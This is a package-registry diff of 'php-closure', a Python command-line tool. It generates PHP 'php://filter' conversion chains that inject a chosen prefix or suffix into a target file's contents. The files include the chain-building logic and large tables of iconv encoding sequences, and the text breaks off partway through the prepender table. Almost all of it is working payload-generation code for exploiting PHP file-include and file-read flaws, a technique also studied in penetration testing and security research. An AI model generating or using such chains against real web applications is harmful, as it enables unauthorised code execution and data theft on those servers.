php-closure 1.0.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- __init__.py +0 -0
- closure/__init__.py +0 -0
- closure/classes/__init__.py +0 -0
- closure/classes/appender.py +18 -0
- closure/classes/chain_builder.py +161 -0
- closure/classes/filter_part.py +49 -0
- closure/cli.py +97 -0
- closure/constants/__init__.py +0 -0
- closure/constants/appenders.py +120 -0
- closure/constants/operations.py +12 -0
- closure/constants/prependers.py +342 -0
- closure/testing/__init__.py +0 -0
- closure/testing/run_php_filter.py +33 -0
- closure/utils/__init__.py +0 -0
- closure/utils/chain_functions.py +25 -0
- closure/utils/string_functions.py +23 -0
- php_closure-1.0.0.dist-info/METADATA +91 -0
- php_closure-1.0.0.dist-info/RECORD +22 -0
- php_closure-1.0.0.dist-info/WHEEL +5 -0
- php_closure-1.0.0.dist-info/entry_points.txt +2 -0
- php_closure-1.0.0.dist-info/licenses/LICENSE +21 -0
- php_closure-1.0.0.dist-info/top_level.txt +2 -0
__init__.py
ADDED
|
File without changes
|
closure/__init__.py
ADDED
|
File without changes
|
|
File without changes
|
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
from dataclasses import dataclass
|
|
2
|
+
|
|
3
|
+
from .filter_part import FilterPart
|
|
4
|
+
from ..utils.chain_functions import iconv_multi_wrap
|
|
5
|
+
|
|
6
|
+
|
|
7
|
+
@dataclass
|
|
8
|
+
class Appender:
|
|
9
|
+
chain: FilterPart
|
|
10
|
+
bytes: bytes
|
|
11
|
+
required_padding: int
|
|
12
|
+
|
|
13
|
+
def extend(self, iconv_encodings, new_bytes):
|
|
14
|
+
return Appender(
|
|
15
|
+
iconv_multi_wrap(self.chain, *iconv_encodings),
|
|
16
|
+
new_bytes,
|
|
17
|
+
self.required_padding,
|
|
18
|
+
)
|
|
@@ -0,0 +1,161 @@
|
|
|
1
|
+
from collections import deque
|
|
2
|
+
|
|
3
|
+
from .appender import Appender
|
|
4
|
+
from ..constants.appenders import APPENDERS
|
|
5
|
+
from ..constants.operations import QPE, INFLATE_2, B64D, QPD, B64E, MULT_3, ANTI_MULT_3
|
|
6
|
+
from ..constants.prependers import PREPENDERS
|
|
7
|
+
|
|
8
|
+
PREAMBLE_CHAIN = B64E / MULT_3 / MULT_3 / B64E
|
|
9
|
+
POSTAMBLE_CHAIN = B64D / ANTI_MULT_3 / ANTI_MULT_3
|
|
10
|
+
|
|
11
|
+
QPE_SAFE_CHARS = b"\t !\"#$%&'()*+,-./0123456789:;<>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
|
|
12
|
+
|
|
13
|
+
|
|
14
|
+
class ChainBuilder:
|
|
15
|
+
def __init__(self):
|
|
16
|
+
self.chain = PREAMBLE_CHAIN
|
|
17
|
+
self.length_mod_3 = 0
|
|
18
|
+
self.appended_base64_count = 0
|
|
19
|
+
self.is_clean = True
|
|
20
|
+
|
|
21
|
+
# Should stay the same and only change when bytes are appended since QPE of any unsafe byte, say '\xff' turns into
|
|
22
|
+
# '=FF' and now '=' is an unsafe byte
|
|
23
|
+
# Same with QPD: '=FF' -> '\xff' both 1 unsafe byte
|
|
24
|
+
self.non_qp_safe_count = 0
|
|
25
|
+
|
|
26
|
+
# Tracks how many bytes were encoded in each layer
|
|
27
|
+
self.qpe_stack = []
|
|
28
|
+
|
|
29
|
+
self.reinflate()
|
|
30
|
+
|
|
31
|
+
def qpe(self):
|
|
32
|
+
self.chain = self.chain / QPE
|
|
33
|
+
self.length_mod_3 = (self.length_mod_3 + self.non_qp_safe_count * 2) % 3
|
|
34
|
+
self.qpe_stack.append(self.non_qp_safe_count)
|
|
35
|
+
|
|
36
|
+
def qpd(self):
|
|
37
|
+
if len(self.qpe_stack) <= 0:
|
|
38
|
+
raise RuntimeError("Tried to QPD without previous QPE")
|
|
39
|
+
|
|
40
|
+
self.chain = self.chain / QPD
|
|
41
|
+
layer_encoded_count = self.qpe_stack.pop()
|
|
42
|
+
self.length_mod_3 = (self.length_mod_3 - layer_encoded_count * 2) % 3
|
|
43
|
+
|
|
44
|
+
def pad(self, target_padding: int):
|
|
45
|
+
|
|
46
|
+
# BFS queue stores: (current_length_mod_3, current_qpe_stack, path_of_operations)
|
|
47
|
+
queue = deque([(self.length_mod_3, self.qpe_stack.copy(), [])])
|
|
48
|
+
visited = set()
|
|
49
|
+
|
|
50
|
+
valid_path = None
|
|
51
|
+
|
|
52
|
+
while queue:
|
|
53
|
+
curr_mod, curr_stack, path = queue.popleft()
|
|
54
|
+
|
|
55
|
+
current_padding = (3 - curr_mod) % 3
|
|
56
|
+
|
|
57
|
+
if current_padding == target_padding and path and path[-1] is QPE:
|
|
58
|
+
valid_path = path
|
|
59
|
+
break
|
|
60
|
+
|
|
61
|
+
# State signature to avoid redundant paths in our search
|
|
62
|
+
state_sig = (curr_mod, tuple(curr_stack))
|
|
63
|
+
if state_sig in visited:
|
|
64
|
+
continue
|
|
65
|
+
visited.add(state_sig)
|
|
66
|
+
|
|
67
|
+
# Limit depth to 20 to prevent infinite loops on true deadlocks
|
|
68
|
+
if len(path) >= 20:
|
|
69
|
+
continue
|
|
70
|
+
|
|
71
|
+
next_mod_qpe = (curr_mod + self.non_qp_safe_count * 2) % 3
|
|
72
|
+
next_stack_qpe = curr_stack + [self.non_qp_safe_count]
|
|
73
|
+
queue.append((next_mod_qpe, next_stack_qpe, path + [QPE]))
|
|
74
|
+
|
|
75
|
+
if curr_stack:
|
|
76
|
+
popped = curr_stack[-1]
|
|
77
|
+
next_mod_qpd = (curr_mod - popped * 2) % 3
|
|
78
|
+
next_stack_qpd = curr_stack[:-1]
|
|
79
|
+
queue.append((next_mod_qpd, next_stack_qpd, path + [QPD]))
|
|
80
|
+
|
|
81
|
+
if valid_path is None:
|
|
82
|
+
raise RuntimeError(
|
|
83
|
+
f"Deadlock! Cannot reach padding {target_padding} ending in QPE. unsafe_count={self.non_qp_safe_count}, stack={self.qpe_stack}"
|
|
84
|
+
)
|
|
85
|
+
|
|
86
|
+
for op in valid_path:
|
|
87
|
+
if op is QPE:
|
|
88
|
+
self.qpe()
|
|
89
|
+
elif op is QPD:
|
|
90
|
+
self.qpd()
|
|
91
|
+
|
|
92
|
+
# Count how many "useful" lifelines we have in the stack (not a multiple of 3)
|
|
93
|
+
useful_items = sum(1 for x in self.qpe_stack if x % 3 != 0)
|
|
94
|
+
|
|
95
|
+
# If we currently have the ability to generate GOOD lifelines, we stock up!
|
|
96
|
+
if self.non_qp_safe_count % 3 != 0:
|
|
97
|
+
# We ensure we always have a hoard of at least 6 lifelines
|
|
98
|
+
while useful_items < 6:
|
|
99
|
+
# Doing EXACTLY 3 QPEs preserves the padding perfectly but restocks our stack.
|
|
100
|
+
for _ in range(3):
|
|
101
|
+
self.qpe()
|
|
102
|
+
valid_path.append(QPE)
|
|
103
|
+
useful_items += 3
|
|
104
|
+
|
|
105
|
+
return valid_path
|
|
106
|
+
|
|
107
|
+
def append(self, appender: Appender):
|
|
108
|
+
self.pad(appender.required_padding)
|
|
109
|
+
self.chain = self.chain / appender.chain
|
|
110
|
+
self.non_qp_safe_count += sum([1 if b not in QPE_SAFE_CHARS else 0 for b in appender.bytes])
|
|
111
|
+
self.length_mod_3 = (self.length_mod_3 + len(appender.bytes)) % 3
|
|
112
|
+
self.appended_base64_count += 1
|
|
113
|
+
|
|
114
|
+
self.is_clean = False
|
|
115
|
+
|
|
116
|
+
def append_seq(self, seq: str):
|
|
117
|
+
for i, c in enumerate(seq):
|
|
118
|
+
self.append(APPENDERS[c])
|
|
119
|
+
|
|
120
|
+
def prepend_seq(self, seq: str):
|
|
121
|
+
if len(seq) % 4 != 0:
|
|
122
|
+
raise ValueError(
|
|
123
|
+
f"seq: '{seq}' is of length {len(seq)} which is not a multiple of 4!\n"
|
|
124
|
+
f"pad the end with a character of your choosing and than pass it to this function"
|
|
125
|
+
)
|
|
126
|
+
|
|
127
|
+
# M is the shortest chain that preserves its own padding (9 added bytes % 3 = 0)
|
|
128
|
+
self.pad(APPENDERS["M"].required_padding)
|
|
129
|
+
for _ in range(len(seq)):
|
|
130
|
+
self.chain = self.chain / APPENDERS["M"].chain
|
|
131
|
+
|
|
132
|
+
self.cleanup()
|
|
133
|
+
|
|
134
|
+
for c in reversed(seq):
|
|
135
|
+
self.chain = self.chain / PREPENDERS[c] / B64D / B64E
|
|
136
|
+
|
|
137
|
+
def cleanup(self):
|
|
138
|
+
for _ in range(len(self.qpe_stack)):
|
|
139
|
+
self.qpe_stack.pop()
|
|
140
|
+
self.chain = self.chain / QPD
|
|
141
|
+
self.chain = self.chain / B64D / B64E
|
|
142
|
+
|
|
143
|
+
self.length_mod_3 = self.appended_base64_count % 3
|
|
144
|
+
self.non_qp_safe_count = 0
|
|
145
|
+
|
|
146
|
+
self.is_clean = True
|
|
147
|
+
|
|
148
|
+
def reinflate(self):
|
|
149
|
+
self.chain = self.chain / INFLATE_2 / QPE
|
|
150
|
+
self.non_qp_safe_count += 2
|
|
151
|
+
self.qpe_stack.append(2)
|
|
152
|
+
|
|
153
|
+
self.is_clean = False
|
|
154
|
+
|
|
155
|
+
def finalize(self):
|
|
156
|
+
if not self.is_clean:
|
|
157
|
+
self.cleanup()
|
|
158
|
+
self.chain = self.chain / POSTAMBLE_CHAIN
|
|
159
|
+
|
|
160
|
+
def construct_chain(self, file):
|
|
161
|
+
return f"php://filter/{str(self.chain)}/resource={file}"
|
|
@@ -0,0 +1,49 @@
|
|
|
1
|
+
class FilterPart:
|
|
2
|
+
def __init__(self, filter_steps):
|
|
3
|
+
if isinstance(filter_steps, str):
|
|
4
|
+
self.filter_steps = [filter_steps]
|
|
5
|
+
else:
|
|
6
|
+
self.filter_steps = list(filter_steps)
|
|
7
|
+
|
|
8
|
+
def __reversed__(self):
|
|
9
|
+
steps = self.filter_steps[::-1].copy()
|
|
10
|
+
|
|
11
|
+
iconv_prefix = "convert.iconv."
|
|
12
|
+
base64_prefix = "convert.base64-"
|
|
13
|
+
|
|
14
|
+
for i in range(len(steps)):
|
|
15
|
+
if steps[i].startswith(iconv_prefix):
|
|
16
|
+
parts = steps[i][len(iconv_prefix):].split(".")
|
|
17
|
+
x, y = parts
|
|
18
|
+
steps[i] = f"{iconv_prefix}{y}.{x}"
|
|
19
|
+
elif steps[i].startswith(base64_prefix):
|
|
20
|
+
operation = steps[i][len(base64_prefix):]
|
|
21
|
+
rev_operation = "decode" if operation == "encode" else "encode"
|
|
22
|
+
steps[i] = f"{base64_prefix}{rev_operation}"
|
|
23
|
+
|
|
24
|
+
return FilterPart(steps)
|
|
25
|
+
|
|
26
|
+
def __truediv__(self, other):
|
|
27
|
+
"""
|
|
28
|
+
Overloads the / operator:
|
|
29
|
+
FilterPart / FilterPart -> merged FilterPart
|
|
30
|
+
FilterPart / str -> wrapped + merged
|
|
31
|
+
"""
|
|
32
|
+
if isinstance(other, str):
|
|
33
|
+
other = FilterPart([other])
|
|
34
|
+
elif not isinstance(other, FilterPart):
|
|
35
|
+
raise TypeError("Can only divide FilterPart by FilterPart or str")
|
|
36
|
+
|
|
37
|
+
return FilterPart(self.filter_steps + other.filter_steps)
|
|
38
|
+
|
|
39
|
+
def __mul__(self, other):
|
|
40
|
+
if not isinstance(other, int):
|
|
41
|
+
raise TypeError("Can only multiply FilterPart by int")
|
|
42
|
+
|
|
43
|
+
return FilterPart(self.filter_steps * other)
|
|
44
|
+
|
|
45
|
+
def __str__(self):
|
|
46
|
+
return "/".join(self.filter_steps)
|
|
47
|
+
|
|
48
|
+
def __repr__(self):
|
|
49
|
+
return f"FilterPart({self.filter_steps})"
|
closure/cli.py
ADDED
|
@@ -0,0 +1,97 @@
|
|
|
1
|
+
import argparse
|
|
2
|
+
|
|
3
|
+
from .classes.chain_builder import ChainBuilder
|
|
4
|
+
from .testing.run_php_filter import run_php_filter
|
|
5
|
+
from .utils.string_functions import right_pad, prepare_injection_data, left_pad
|
|
6
|
+
|
|
7
|
+
|
|
8
|
+
def generate_wrap_chain(file, prefix=None, suffix=None, pad_char=" "):
|
|
9
|
+
if prefix is None and suffix is None:
|
|
10
|
+
raise ValueError("Either 'prefix', 'suffix' or both must be specified.")
|
|
11
|
+
|
|
12
|
+
cb = ChainBuilder()
|
|
13
|
+
|
|
14
|
+
if suffix is not None:
|
|
15
|
+
suffix = left_pad(suffix, 4, pad_char)
|
|
16
|
+
append_seq = prepare_injection_data(suffix)
|
|
17
|
+
cb.append_seq(append_seq)
|
|
18
|
+
|
|
19
|
+
if prefix is not None:
|
|
20
|
+
prefix = right_pad(prefix, 4, pad_char)
|
|
21
|
+
prepend_seq = prepare_injection_data(prefix)
|
|
22
|
+
cb.prepend_seq(prepend_seq)
|
|
23
|
+
|
|
24
|
+
cb.finalize()
|
|
25
|
+
|
|
26
|
+
return cb.construct_chain(file)
|
|
27
|
+
|
|
28
|
+
|
|
29
|
+
def test_chain(chain: str):
|
|
30
|
+
print("\nResulting chain size:", len(chain))
|
|
31
|
+
result = run_php_filter(chain)
|
|
32
|
+
print("---- RESULT ----")
|
|
33
|
+
print(result.decode())
|
|
34
|
+
print("---- END ----")
|
|
35
|
+
|
|
36
|
+
|
|
37
|
+
def output_result(chain: str, output_path: str):
|
|
38
|
+
if output_path is not None:
|
|
39
|
+
with open(output_path, "w") as f:
|
|
40
|
+
f.write(chain)
|
|
41
|
+
print("Chain written to:", output_path)
|
|
42
|
+
else:
|
|
43
|
+
print(chain)
|
|
44
|
+
print("\nResulting chain size:", len(chain))
|
|
45
|
+
|
|
46
|
+
|
|
47
|
+
def main():
|
|
48
|
+
parser = argparse.ArgumentParser(description="Closure - generate php filter chains to wrap file contents")
|
|
49
|
+
|
|
50
|
+
parser.add_argument("file", help="File to wrap")
|
|
51
|
+
|
|
52
|
+
parser.add_argument(
|
|
53
|
+
"-p",
|
|
54
|
+
"--prefix",
|
|
55
|
+
default=None,
|
|
56
|
+
help="Prefix to be prepended to the file contents",
|
|
57
|
+
)
|
|
58
|
+
|
|
59
|
+
parser.add_argument(
|
|
60
|
+
"-s",
|
|
61
|
+
"--suffix",
|
|
62
|
+
default=None,
|
|
63
|
+
help="Suffix to be appended to the file contents",
|
|
64
|
+
)
|
|
65
|
+
|
|
66
|
+
parser.add_argument(
|
|
67
|
+
"-c",
|
|
68
|
+
"--pad-char",
|
|
69
|
+
default=" ",
|
|
70
|
+
help="A character that will be used for padding after the prefix or before the suffix",
|
|
71
|
+
)
|
|
72
|
+
|
|
73
|
+
parser.add_argument(
|
|
74
|
+
"-o",
|
|
75
|
+
"--output",
|
|
76
|
+
default=None,
|
|
77
|
+
help="File path to write the chain to, if none specified, chain is written to stdout",
|
|
78
|
+
)
|
|
79
|
+
|
|
80
|
+
parser.add_argument(
|
|
81
|
+
"-t", "--test",
|
|
82
|
+
action="store_true",
|
|
83
|
+
help="Run the php filter chain in the local system to see the results (requires php to be installed)",
|
|
84
|
+
)
|
|
85
|
+
|
|
86
|
+
args = parser.parse_args()
|
|
87
|
+
|
|
88
|
+
chain = generate_wrap_chain(args.file, args.prefix, args.suffix, args.pad_char)
|
|
89
|
+
|
|
90
|
+
if args.test:
|
|
91
|
+
test_chain(chain)
|
|
92
|
+
else:
|
|
93
|
+
output_result(chain, args.output)
|
|
94
|
+
|
|
95
|
+
|
|
96
|
+
if __name__ == "__main__":
|
|
97
|
+
main()
|
|
File without changes
|
|
@@ -0,0 +1,120 @@
|
|
|
1
|
+
from ..classes.appender import Appender
|
|
2
|
+
from .operations import REMOVE_EQUAL, QPE, QPD
|
|
3
|
+
from ..utils.chain_functions import b64_wrap, rot13_wrap
|
|
4
|
+
|
|
5
|
+
BASE_APPENDERS = {
|
|
6
|
+
"5": Appender(b64_wrap(rot13_wrap(REMOVE_EQUAL)), b">5\r", required_padding=1),
|
|
7
|
+
"t": Appender(
|
|
8
|
+
QPE / QPE / QPE / b64_wrap(rot13_wrap(QPE / QPE) / REMOVE_EQUAL) / QPD / QPD / QPD,
|
|
9
|
+
b">\x00|t",
|
|
10
|
+
required_padding=1,
|
|
11
|
+
),
|
|
12
|
+
"g": Appender(
|
|
13
|
+
rot13_wrap(QPE / QPE / QPE / b64_wrap(rot13_wrap(QPE / QPE) / REMOVE_EQUAL) / QPD / QPD / QPD),
|
|
14
|
+
b">\x00|g",
|
|
15
|
+
required_padding=1,
|
|
16
|
+
),
|
|
17
|
+
"p": Appender(
|
|
18
|
+
QPE / QPE / QPE / b64_wrap(QPE / rot13_wrap(QPE) / REMOVE_EQUAL) / QPD / QPD / QPD,
|
|
19
|
+
b">\x00|p",
|
|
20
|
+
required_padding=1,
|
|
21
|
+
),
|
|
22
|
+
"c": Appender(
|
|
23
|
+
rot13_wrap(QPE / QPE / QPE / b64_wrap(QPE / rot13_wrap(QPE) / REMOVE_EQUAL) / QPD / QPD / QPD),
|
|
24
|
+
b">\x00|c",
|
|
25
|
+
required_padding=1,
|
|
26
|
+
),
|
|
27
|
+
"M": Appender(
|
|
28
|
+
b64_wrap(QPE / REMOVE_EQUAL),
|
|
29
|
+
b"\x0f\x80\x0fM\xc3\xf8\x00\xf4\xdc",
|
|
30
|
+
required_padding=2,
|
|
31
|
+
),
|
|
32
|
+
"Z": Appender(
|
|
33
|
+
rot13_wrap(b64_wrap(QPE / REMOVE_EQUAL)),
|
|
34
|
+
b"\x0f\x80\x0fZ\xc3\xf8\x00\xf4\xdc",
|
|
35
|
+
required_padding=2,
|
|
36
|
+
),
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
# TODO: Swap all convertors iconv encodings to their shortest alias
|
|
40
|
+
APPENDERS = {
|
|
41
|
+
"+": BASE_APPENDERS["t"].extend(
|
|
42
|
+
[("CP870", "L2"), ("CP1149", "CP037"), ("L1", "1047"), ("L1", "CP273")],
|
|
43
|
+
b"+\x00\xbb\x8d",
|
|
44
|
+
),
|
|
45
|
+
"/": BASE_APPENDERS["g"].extend(
|
|
46
|
+
[
|
|
47
|
+
("CP273", "CP297"),
|
|
48
|
+
("1047", "L1"),
|
|
49
|
+
("CP870", "L2"),
|
|
50
|
+
("CP870", "L2"),
|
|
51
|
+
("1026", "L1"),
|
|
52
|
+
],
|
|
53
|
+
b"\xd7\x00/\xf7",
|
|
54
|
+
),
|
|
55
|
+
"0": BASE_APPENDERS["t"].extend([("CP870", "L2"), ("CP1142", "CP280"), ("L1", "1047")], b"0\x00|\xfd"),
|
|
56
|
+
"1": BASE_APPENDERS["Z"].extend(
|
|
57
|
+
[("L1", "IBM277"), ("L1", "CP280"), ("L1", "1047")],
|
|
58
|
+
b"\x0f|\x0f\xe9\x061\x00\xa2\xfc",
|
|
59
|
+
),
|
|
60
|
+
"2": BASE_APPENDERS["p"].extend([("CP1149", "CP1142"), ("CP280", "L1"), ("1047", "L1")], b"\xc6\x00}2"),
|
|
61
|
+
"3": BASE_APPENDERS["c"].extend([("CP1399", "IBM-932"), ("1046", "CP9448")], b"\x7f\x00@3"),
|
|
62
|
+
"4": BASE_APPENDERS["t"].extend([("1047", "UTF-8"), ("CP1167", "CP1361")], b"\xde\xd2\xd94\x00@\xde\xe8\xdb\xa8"),
|
|
63
|
+
"5": BASE_APPENDERS["5"],
|
|
64
|
+
"6": BASE_APPENDERS["g"].extend([("CP4971", "IBM-932"), ("1046", "CP9448")], b"\x7f\x00@\xd36"),
|
|
65
|
+
"7": BASE_APPENDERS["g"].extend([("CP1399", "IBM-932"), ("1046", "CP9448")], b"\x7f\x00@7"),
|
|
66
|
+
"8": BASE_APPENDERS["p"].extend([("1047", "L1"), ("1026", "8859_1")], b"\xc6\x00 8"),
|
|
67
|
+
"9": BASE_APPENDERS["g"].extend([("CP4971", "UTF-8"), ("CP949", "CP1361")], b"\xd1\x9d\x00@\xe29"),
|
|
68
|
+
"A": BASE_APPENDERS["c"].extend([("CP1142", "ISO_6937")], b"\x9e\x00\xe9\xc8A"),
|
|
69
|
+
"B": BASE_APPENDERS["t"].extend([("CP1112", "ISO-8859-16"), ("8859_5", "IBM932")], b"\x7f\x00@\x84B"),
|
|
70
|
+
"C": BASE_APPENDERS["M"].extend([("8859_7", "CSIBM4971")], b"\x0f \x0f\xd4C\xbf\x00\xbb\xb1"),
|
|
71
|
+
"D": BASE_APPENDERS["Z"].extend([("CP1142", "IBM-1147")], b"\x0fD\x0f\x9f\xc3\xf8\x00\xf4\xbd"),
|
|
72
|
+
"E": BASE_APPENDERS["t"].extend([("CP1142", "ISO_6937")], b"\x9e\x00\xe9\xc1E"),
|
|
73
|
+
"F": BASE_APPENDERS["c"].extend([("CP1025", "CSIBM932")], b"\x7f\x00@\x84F"),
|
|
74
|
+
"G": BASE_APPENDERS["Z"].extend([("CP1141", "CSIBM1142")], b"\x0f|\x0f\xfc\xc3\xf8\x00\xf4G"),
|
|
75
|
+
"H": BASE_APPENDERS["t"].extend([("1026", "8859_9"), ("1026", "437")], b"\x92\x00\xa3H"),
|
|
76
|
+
"I": BASE_APPENDERS["p"].extend([("CP1142", "CSIBM284")], b">\x00\x80I"),
|
|
77
|
+
"J": BASE_APPENDERS["Z"].extend([("CP1081", "IBM278")], b"\x0f\x80\x0fJ\xc3\xf8\x00\xf4\xa1"),
|
|
78
|
+
"K": BASE_APPENDERS["t"].extend([("CP1149", "UTF-8"), ("CP949", "CP1361")], b"\xd1\x9d\x00\xd2K\xd1\xfc"),
|
|
79
|
+
"L": BASE_APPENDERS["t"].extend([("CP918", "IBM-1008"), ("8859_2", "CSIBM932")], b"\x7f\x00@\x81L"),
|
|
80
|
+
"M": BASE_APPENDERS["M"],
|
|
81
|
+
"N": BASE_APPENDERS["p"].extend([("CP4971", "IBM-932")], b"\x7f\x00@\x81N"),
|
|
82
|
+
"O": BASE_APPENDERS["g"].extend([("CP1122", "ISO6937")], b"\x9e\x00\xc8O$"),
|
|
83
|
+
"P": BASE_APPENDERS["t"].extend([("CP875", "IBM932"), ("864", "BIG5")], b"\x7f\x00@\xa1P\xa1\xd1"),
|
|
84
|
+
"Q": BASE_APPENDERS["Z"].extend([("500", "CSIBM1144")], b"\x0f\x80\x0fQ\xc3\xf8\x00\xf4\xdc"),
|
|
85
|
+
"R": BASE_APPENDERS["t"].extend([("CP1399", "IBM-932"), ("851", "CP950")], b"\x7f\x00@\xa3R"),
|
|
86
|
+
"S": BASE_APPENDERS["g"].extend([("CP12712", "IBM916"), ("857", "ISO6937")], b"\xcbS\x00@\xcb "),
|
|
87
|
+
"T": BASE_APPENDERS["Z"].extend([("CP1141", "CP280")], b"\x0f\x80\x0f\xfc\xc3\xf8\x00\xf4T"),
|
|
88
|
+
"U": BASE_APPENDERS["p"].extend([("CP1142", "CSIBM932")], b"\x7f\x00\x7f\xfaU"),
|
|
89
|
+
"V": BASE_APPENDERS["t"].extend([("CP1142", "UTF-8"), ("CP949", "CP1361")], b"\xd1\x9d\x00\xd2V\xd1\xfc"),
|
|
90
|
+
"W": BASE_APPENDERS["g"].extend([("CP1122", "UTF-8"), ("866", "CP932")], b"\x84\xa6\x84_\x00\x84\xa5\x84W$"),
|
|
91
|
+
"X": BASE_APPENDERS["Z"].extend([("CP1122", "CSIBM280")], b"\x0f\x80\x0f\x9f\xc3\xf8\x00\xf4X"),
|
|
92
|
+
"Y": BASE_APPENDERS["Z"].extend([("CP1122", "CSIBM273")], b"\x0f\x80\x0f\x9f\xc3\xf8\x00\xf4Y"),
|
|
93
|
+
"Z": BASE_APPENDERS["Z"],
|
|
94
|
+
"a": BASE_APPENDERS["p"].extend([("CP297", "ISO6937")], b"\x9e\x00\xc1a\xf9"),
|
|
95
|
+
"b": BASE_APPENDERS["c"].extend([("CP1390", "UTF-8")], b"\xc2\x9e\x00@b"),
|
|
96
|
+
"c": BASE_APPENDERS["c"],
|
|
97
|
+
"d": BASE_APPENDERS["M"].extend([("CP1008", "CP420")], b"\x0f \x0f\xd4d\xcd\x00\xbe\x9b"),
|
|
98
|
+
"e": BASE_APPENDERS["g"].extend([("CP1141", "CSIBM1142"), ("437", "CP936")], b">\x00\xa8e["),
|
|
99
|
+
"f": BASE_APPENDERS["g"].extend([("CP1390", "UTF-8")], b"\xc2\x9e\x00@f"),
|
|
100
|
+
"g": BASE_APPENDERS["g"],
|
|
101
|
+
"h": BASE_APPENDERS["g"].extend([("CP1142", "CSIBM285"), ("1026", "1047")], b">\x00\x80h"),
|
|
102
|
+
"i": BASE_APPENDERS["c"].extend([("CP1122", "CSIBM1145")], b">\x00\xeci"),
|
|
103
|
+
"j": BASE_APPENDERS["p"].extend([("CP1144", "CP1142")], b">\x00\xb5j"),
|
|
104
|
+
"k": BASE_APPENDERS["p"].extend([("CP1132", "CP1008")], b"\x9e\x00@k"),
|
|
105
|
+
"l": BASE_APPENDERS["t"].extend([("CP1390", "UTF-8")], b"\xc2\x9e\x00@l"),
|
|
106
|
+
"m": BASE_APPENDERS["g"].extend([("CP1399", "IBM-932"), ("MIK", "BIG5-HKSCS")], b"\x7f\x00@\xc8m"),
|
|
107
|
+
"n": BASE_APPENDERS["5"].extend([("8859_1", "CP273")], b"n\xf5\r"),
|
|
108
|
+
"o": BASE_APPENDERS["g"].extend([("CP1149", "IBM-1142"), ("CP737", "BIG5")], b">\x00\xa3o["),
|
|
109
|
+
"p": BASE_APPENDERS["p"],
|
|
110
|
+
"q": BASE_APPENDERS["t"].extend([("1047", "UTF-8"), ("CP1167", "IBM932")], b"\x84q\x7f\x00@\x84\x88\x84\xa6"),
|
|
111
|
+
"r": BASE_APPENDERS["g"].extend([("CP1122", "CSIBM1141"), ("8859_2", "TCVN")], b">\x00r\xb3["),
|
|
112
|
+
"s": BASE_APPENDERS["g"].extend([("CP1149", "IBM-1142"), ("855", "IBM-932")], b">\x00\x84s["),
|
|
113
|
+
"t": BASE_APPENDERS["t"],
|
|
114
|
+
"u": BASE_APPENDERS["t"].extend([("CP1144", "IBM932"), ("863", "ISO_6937")], b"\x7f\x00\xc8u\xa8\x7f"),
|
|
115
|
+
"v": BASE_APPENDERS["t"].extend([("1026", "8859_9"), ("CP10007", "CSIBM932")], b"\x84_\x00\x84v\x7f"),
|
|
116
|
+
"w": BASE_APPENDERS["t"].extend([("CP1025", "CP915"), ("CP1025", "CP932")], b"\x84\x80\x00 \x84w"),
|
|
117
|
+
"x": BASE_APPENDERS["g"].extend([("1047", "L1"), ("L2", "CP870")], b">\x00|x"),
|
|
118
|
+
"y": BASE_APPENDERS["Z"].extend([("CP280", "CP278")], b"\x0f\x80\x0fy\xc3\xf8\x00\xf4\xa1"),
|
|
119
|
+
"z": BASE_APPENDERS["p"].extend([("CP870", "L2"), ("CP870", "ISO6937")], b"\xce \x00 \xc2z"),
|
|
120
|
+
}
|
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
from ..classes.filter_part import FilterPart
|
|
2
|
+
|
|
3
|
+
B64E = FilterPart("convert.base64-encode")
|
|
4
|
+
B64D = FilterPart("convert.base64-decode")
|
|
5
|
+
REMOVE_EQUAL = FilterPart("convert.iconv.855.UTF7")
|
|
6
|
+
QPE = FilterPart("convert.quoted-printable-encode")
|
|
7
|
+
QPD = FilterPart("convert.quoted-printable-decode")
|
|
8
|
+
ROT13 = FilterPart("string.rot13")
|
|
9
|
+
|
|
10
|
+
MULT_3 = FilterPart(["convert.iconv.UTF-16LE.UTF8"])
|
|
11
|
+
ANTI_MULT_3 = FilterPart(["convert.iconv.UTF8.UTF-16LE"])
|
|
12
|
+
INFLATE_2 = "convert.iconv.UCS-2.UTF16"
|
|
@@ -0,0 +1,342 @@
|
|
|
1
|
+
from ..classes.filter_part import FilterPart
|
|
2
|
+
|
|
3
|
+
PREPENDERS = {
|
|
4
|
+
"0": FilterPart(
|
|
5
|
+
[
|
|
6
|
+
"convert.iconv.UTF8.UTF16LE",
|
|
7
|
+
"convert.iconv.UTF8.CSISO2022KR",
|
|
8
|
+
"convert.iconv.UCS2.UTF8",
|
|
9
|
+
"convert.iconv.8859_3.UCS2",
|
|
10
|
+
]
|
|
11
|
+
),
|
|
12
|
+
"1": FilterPart(
|
|
13
|
+
[
|
|
14
|
+
"convert.iconv.ISO88597.UTF16",
|
|
15
|
+
"convert.iconv.RK1048.UCS-4LE",
|
|
16
|
+
"convert.iconv.UTF32.CP1167",
|
|
17
|
+
"convert.iconv.CP9066.CSUCS4",
|
|
18
|
+
]
|
|
19
|
+
),
|
|
20
|
+
"2": FilterPart(
|
|
21
|
+
[
|
|
22
|
+
"convert.iconv.L5.UTF-32",
|
|
23
|
+
"convert.iconv.ISO88594.GB13000",
|
|
24
|
+
"convert.iconv.CP949.UTF32BE",
|
|
25
|
+
"convert.iconv.ISO_69372.CSIBM921",
|
|
26
|
+
]
|
|
27
|
+
),
|
|
28
|
+
"3": FilterPart(
|
|
29
|
+
[
|
|
30
|
+
"convert.iconv.L6.UNICODE",
|
|
31
|
+
"convert.iconv.CP1282.ISO-IR-90",
|
|
32
|
+
"convert.iconv.ISO6937.8859_4",
|
|
33
|
+
"convert.iconv.IBM868.UTF-16LE",
|
|
34
|
+
]
|
|
35
|
+
),
|
|
36
|
+
"4": FilterPart(
|
|
37
|
+
[
|
|
38
|
+
"convert.iconv.CP866.CSUNICODE",
|
|
39
|
+
"convert.iconv.CSISOLATIN5.ISO_6937-2",
|
|
40
|
+
"convert.iconv.CP950.UTF-16BE",
|
|
41
|
+
]
|
|
42
|
+
),
|
|
43
|
+
"5": FilterPart(
|
|
44
|
+
[
|
|
45
|
+
"convert.iconv.UTF8.UTF16LE",
|
|
46
|
+
"convert.iconv.UTF8.CSISO2022KR",
|
|
47
|
+
"convert.iconv.UTF16.EUCTW",
|
|
48
|
+
